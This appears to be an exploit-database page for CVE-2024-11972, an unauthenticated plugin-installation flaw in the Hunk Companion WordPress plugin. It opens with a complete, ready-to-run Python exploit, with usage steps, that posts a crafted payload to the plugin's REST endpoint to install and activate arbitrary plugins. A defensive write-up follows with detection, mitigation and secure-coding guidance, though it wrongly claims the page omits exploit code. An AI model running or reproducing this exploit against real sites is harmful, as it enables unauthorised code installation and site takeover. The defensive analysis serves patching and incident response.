Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation

Exploit Author: Jun Takemura Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-18
# Exploit Title: Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation
# Date: 16 December, 2024
# Exploit Author: Jun Takemura
# Author's GitHub: https://github.com/JunTakemura
# Author's Blog: juntakemura.dev
# Vendor Homepage: https://themehunk.com
# Software Link: https://wordpress.org/plugins/hunk-companion/
# Version: Tested on Hunk Companion 1.8.8
# CVE: CVE-2024-11972
# Vulnerability Description:
#     Exploits a flaw in the Hunk Companion plugin's permission_callback for the
#     /wp-json/hc/v1/themehunk-import endpoint, allowing unauthenticated attackers
#     to install and activate arbitrary plugins from the WordPress.org repository.
# Tested on: Ubuntu
# Original vulnerability discovered by: Daniel Rodriguez
#
# Usage:
#     1. Update `target_url` below with the target WordPress site's URL.
#     2. Update `plugin_name` with the slug of the plugin you want to install.
#     3. Run: python3 exploit.py
#
import requests
from urllib.parse import urljoin

# Update 'URL' with your target WordPress site URL, for example "http://localhost/wordpress"
target_url = "URL"

# Update 'NAME' with desired plugin's name (slug), for example "wp-query-console"
plugin_name = "NAME"

endpoint = "/wp-json/hc/v1/themehunk-import"
url = urljoin(target_url, endpoint)

payload = {
    "params": {
        "plugin": {
            plugin_name: "Plugin Label"
        },
        "allPlugins": [
            {
                plugin_name: f"{plugin_name}/{plugin_name}.php"
            }
        ],
        "themeSlug": "theme",
        "proThemePlugin": "plugin",
        "templateType": "free",
        "tmplFreePro": "theme",
        "wpUrl": target_url
    }
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64)",
    "Content-Type": "application/json"
}

try:
    response = requests.post(url, json=payload, headers=headers, timeout=10)
    response.raise_for_status()  # Raises an HTTPError if the response is not 2xx

    print(f"[+] Exploit sent successfully.")
    print(f"Response Status Code: {response.status_code}")
    print(f"Response Body: {response.text}")
except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")


Hunk Companion Plugin Unauthenticated Plugin Installation (CVE-2024-11972) — Analysis and Mitigation

This article explains the unauthenticated plugin installation vulnerability reported for the Hunk Companion WordPress plugin (CVE-2024-11972). It covers what the issue is, why it matters, how to detect it on your site, safe remediation and hardening steps for site owners, and secure coding guidelines for plugin/theme authors. All recommendations below focus on defensive measures and incident response; exploit code or step-by-step attack instructions are intentionally omitted.

Executive summary

ItemDetails
VulnerabilityInsufficient permission checks on a REST API endpoint allowing unauthenticated installation/activation of plugins
CVECVE-2024-11972
Affected versionsReported in versions prior to 1.9.0 (test reports referenced 1.8.8)
Patched in1.9.0 (upgrade recommended)
ImpactRemote, unauthenticated plugin installation and activation — potential site takeover, persistence, data exfiltration

What happened — technical overview (high level)

WordPress provides a REST API that plugins can extend by registering custom endpoints. Each REST route should enforce appropriate access controls via a permission_callback. In the reported issue, a plugin endpoint intended for theme/plugin provisioning did not validate the caller’s authentication or capabilities properly. As a result, an unauthenticated HTTP request could trigger server-side logic that installs and activates plugins — a sensitive operation that should require a privileged user.

Key concepts:

  • permission_callback: a callable that returns true only when the caller has appropriate rights (e.g., is logged in and has install/activate capability).
  • install/activate capabilities: WordPress capabilities such as install_plugins and activate_plugins control who may add or enable code on the site.
  • Remote code installation: installing third-party plugins is effectively a remote code execution vector when combined with arbitrary plugin activation.

Why this is dangerous

  • Unauthenticated actor can introduce arbitrary plugins sourced from third‑party repositories, which may include malicious code.
  • Installed plugins can create admin users, install backdoors, or run persistent scheduled tasks.
  • Once code is on the site, it’s difficult to guarantee complete cleanup without a clean backup and full forensic inspection.

Detection — what to look for

Detection combines log analysis, administrative checks, and file system inspection. The following indicators are defensive and non-actionable.

  • Unusual POST requests in access logs to REST endpoints, especially to any endpoint under /wp-json/hc/v1/, originating from unknown IPs or with suspicious User-Agents.
  • New or unexpected plugins listed in WordPress admin (Dashboard → Plugins) or via server-side listing tools.
  • New administrator accounts, unexpected cron jobs, or scheduled hooks that were not created by known administrators.
  • File changes under wp-content/plugins/ or modified timestamps that don’t match expected maintenance work.

Quick administrative checks

If you have administrative access to the site, use benign, audit-focused commands to assess status. Example WP-CLI checks (run as an authorized administrator on the server):

wp plugin list
wp user list --role=administrator
wp option get active_plugins

Explanation: These commands list installed plugins, administrator accounts, and currently active plugins so you can spot unexpected items. They require server access or proper WP-CLI privileges and should be executed only by authorized personnel.

Immediate mitigation (site owners)

  • Apply the vendor patch immediately: update Hunk Companion to the patched release (1.9.0 or later) provided by the vendor.
  • If you cannot immediately update, consider disabling the plugin until you can patch or remove it entirely if you do not need it.
  • Harden the site by temporarily disabling plugin and theme file modifications from the admin interface by adding to wp-config.php (use with caution):
define('DISALLOW_FILE_MODS', true);

Explanation: When set, WordPress disables plugin/theme installation and update operations via the admin UI and automatic updates. This is a mitigation to prevent remote installs; it does not replace patching, and it requires FTP/SSH or host control to revert later.

  • Audit and remove any unauthorized plugins and user accounts discovered.
  • Rotate credentials for all admin users and update API keys or secrets that may have been exposed.
  • If compromise is suspected, take the site offline (maintenance mode) while performing a forensic review and restore from a known-good backup if necessary.
  • Deploy or tune a Web Application Firewall (WAF) to block or rate-limit suspicious POST requests to REST endpoints while you patch. Prioritize blocking unauthenticated access to sensitive endpoints.

Recommended incident response checklist

  • Isolate the environment and capture logs for the suspected timeframe.
  • Identify all new plugins, themes, or modified files; capture checksums for forensic analysis.
  • Check for new administrator users, scheduled tasks, or outbound network connections initiated by the web server.
  • Rotate passwords, API keys, and any stored credentials; invalidate sessions for all users.
  • Restore from a clean backup if backdoors or unknown modifications are present; otherwise, remove malicious artifacts and patch.
  • Conduct a full malware scan using multiple engines and perform manual code review on unfamiliar plugins before reactivation.

Secure coding guidance for plugin/theme authors

Plugin authors should assume any endpoint may be targeted by an unauthenticated actor. Enforce strict permission checks and input validation. Key recommendations:

  • Always implement a permission_callback for REST routes and require appropriate capabilities (e.g., install_plugins, activate_plugins).
  • Validate and sanitize all input parameters before use; do not accept arbitrary file paths or remote URLs without strict validation.
  • Log sensitive actions and rate-limit operations that modify the system (install, activate, delete).
  • Fail closed: if a permission check cannot be performed, deny the operation.

Example: secure REST route registration (defensive)

add_action('rest_api_init', function () {
  register_rest_route('hc/v1', '/themehunk-import', array(
    'methods'  => 'POST',
    'callback' => 'hc_themehunk_import',
    'permission_callback' => function (WP_REST_Request $request) {
      // Only allow logged-in users with the install capability
      if ( ! is_user_logged_in() ) {
        return new WP_Error('rest_forbidden', 'Authentication required', array('status' => 401));
      }
      return current_user_can('install_plugins');
    },
  ));
});

Explanation: This code registers a REST route and ensures only authenticated users who have the install_plugins capability can call the endpoint. The permission_callback returns an explicit error for unauthenticated calls and performs a capability check for authorization.

Input validation example

function hc_themehunk_import(WP_REST_Request $request) {
  $params = $request->get_param('params') ?: array();

  // Strictly validate expected structure and types
  if ( empty($params['plugin']) || ! is_array($params['plugin']) ) {
    return new WP_Error('invalid_params', 'Invalid plugin parameter', array('status' => 400));
  }

  // Sanitize plugin slugs / names
  $safe_plugins = array();
  foreach ($params['plugin'] as $slug => $label) {
    $slug = sanitize_key($slug); // allows only safe characters for slugs
    $label = sanitize_text_field($label);
    $safe_plugins[$slug] = $label;
  }

  // Proceed only with validated values and required capabilities
  if ( ! current_user_can('install_plugins') ) {
    return new WP_Error('forbidden', 'Insufficient permissions', array('status' => 403));
  }

  // ... further guarded logic for installation/activation ...
}

Explanation: This handler validates structure, sanitizes inputs (using WordPress helper functions), and double-checks capabilities before performing any sensitive action. It avoids executing operations on unchecked user input.

Longer-term hardening & best practices

  • Minimize installed plugins and remove unused ones to reduce attack surface.
  • Keep WordPress core, themes and plugins up to date and subscribe to vendor advisories for critical patches.
  • Enforce strong authentication (MFA) for administrator accounts.
  • Use least privilege for service accounts and ensure file permissions prevent the web server from writing outside intended directories.
  • Monitor outbound network activity originating from web processes — unusual connections can indicate compromised code attempting to contact a C2 server.

References and further reading

  • CVE-2024-11972 — public advisory information (vendor and security researcher advisories)
  • WordPress Developer Handbook — REST API: register_rest_route and permission_callback
  • WordPress Hardening Guide — DISALLOW_FILE_MODS and secure configuration

Summary: If you operate a WordPress site using Hunk Companion (or any plugin that interacts with the REST API), treat this vulnerability as high priority: apply the vendor patch, audit your site for unauthorized changes, and implement the defensive coding and hardening steps above to reduce future risk.